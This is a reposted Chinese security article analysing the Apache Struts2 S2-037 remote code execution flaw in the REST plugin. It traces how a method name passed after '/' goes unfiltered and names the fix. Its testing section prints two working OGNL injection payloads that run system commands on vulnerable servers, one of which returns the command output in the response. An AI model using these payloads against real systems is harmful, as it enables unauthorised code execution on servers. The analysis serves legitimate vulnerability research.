【干货】Strust2框架S2-037漏洞分析

admin 2022年6月8日05:23:06评论29 views字数 2389阅读7分57秒阅读模式

李洁@360信息安全部云安全团队


一、漏洞介绍

该漏洞其实是S2-033的升级版,S2-033的描述是:针对使用REST插件且开启动态方法调用的应用,恶意攻击者可以利用该漏洞进行远程代码执行。当初官方和很多研究者都以为该漏洞产生的前提条件是Apache Struts2开启了动态方法调用。而在后来的研究者中有人发现,在关闭了动态方法调用的前提下,仍然存在远程代码执行漏洞,并且之前认为的安全版本在也存在着该漏洞。

S2-037产生的原因是基于REST插件的特性,在使用REST插件的前提下,不仅可以通过‘uri+!+方法名’的方式进行方法调用,也可以通过‘uri+/+方法名’的方式进行特殊方法调用。而S2-037的漏洞产生原因就在于使用‘/’调用方法的时候没有过滤完全。

二、漏洞分析

在Struts2中,REST插件有着很强的规则性。当包含REST插件的程序执行时,系统的解析顺序为:struts-default.xmlàstruts-plugin.xmlàstruts.xml,如图:【干货】Strust2框架S2-037漏洞分析

可以看到在解析了struts-default默认的xml文件后,首先解析的是struts的插件配置文件。所以在方法执行中需要先经过rest插件的解析再进入到正常的struts解析过程。(包含REST插件的应用在执行时默认调用index方法)

跟踪了一下执行过程,首先是struts2的拦截器过滤:【干货】Strust2框架S2-037漏洞分析

    过滤后需要查找对应的ActionMapper对应关系,在这时程序会进入到findActionMapper方法中。【干货】Strust2框架S2-037漏洞分析

在往下看,可以发现在getmapping()方法中存在两种不同的解析。分别对应两个漏洞。

【干货】Strust2框架S2-037漏洞分析

当遇见通过‘/’来调用方法的情况时,程序进入到该程序块内,可以看到,在获得方法名的时候并未进行过滤,从而产生了漏洞。    

【干货】Strust2框架S2-037漏洞分析

举个例子,当注入exp时,可以发现mapping解析的结果是使用了json扩展。

【干货】Strust2框架S2-037漏洞分析

值得注意的是,在rest插件的DefaultContentTypeHandlerManager中有一个关于获取url中数据类型的扩展判断。它会自动截取url中最后一个‘.’符号来判断url中的数据是默认的xhtml类型还是其他类型。在S2-033的exp中,大部分都是通过json扩展绕过解析的。

【干货】Strust2框架S2-037漏洞分析
【干货】Strust2框架S2-037漏洞分析

在其后的执行过程就和S2-032中的执行过程一致,通过调用invokeAction方法获得其action对应的result结果。如图。

【干货】Strust2框架S2-037漏洞分析


三、过程

测试版本:struts2 2.3.24.1

测试exp:

(%23mem=%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%[email protected]@getRuntime().exec(%23parameters.cmd):index.xhtml?cmd=gcalctool

测试结果:

【干货】Strust2框架S2-037漏洞分析

测试版本:struts2 2.3.28.1(官方声称无S2-033漏洞的版本)

测试exp:

 (%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=ifconfig

测试结果:

【干货】Strust2框架S2-037漏洞分析

四、小结

本文主要通过调试介绍了在使用REST插件后应用的工作流程,通过深入源码的调试希望可以对漏洞有进一步了解,并为下一步漏洞exp的编写提供一些参考。

此外,修复上可以采用cleanupActionName方法进行过滤,或者更新至Struts 2.3.29来解决。


五、参考文献


Exp参考:

https://mp.weixin.qq.com/s?__biz=MzA4MDMwMjQ3Mg==&mid=2651864920&idx=1&sn=78b4d159791ee0e475afa0b0c442453b&scene=1&srcid=0616RiLHThk52efJuUtxlaE2&pass_ticket=Ej292GAww8ztwoFjRdAMQs0kMvLfd8zYX8zV3zM1tXwngwzpX9mOC4Qx%2FG9e8vGc#rd

Struts2 最新漏洞S037分析:

https://mp.weixin.qq.com/s?__biz=MzAwNTYwMjM3Mw==&mid=2651680334&idx=1&sn=5c9adb02a1c11d9bbff3ffddb639d62f&scene=1&srcid=06150gRCBTxuLuVgQFQNmkLH&pass_ticket=YqKqTjILNt1trvqVVNywKNsE6nXl%2FHujLU8niUn72AqNWKp3dympfR%2Fz%2Fhz3FveX#rd

struts2的核心和工作原理:http://blog.csdn.net/laner0515/article/details/27692673/


【干货】Strust2框架S2-037漏洞分析


原文始发于微信公众号(补天漏洞响应平台):【干货】Strust2框架S2-037漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月8日05:23:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【干货】Strust2框架S2-037漏洞分析https://cn-sec.com/archives/813103.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息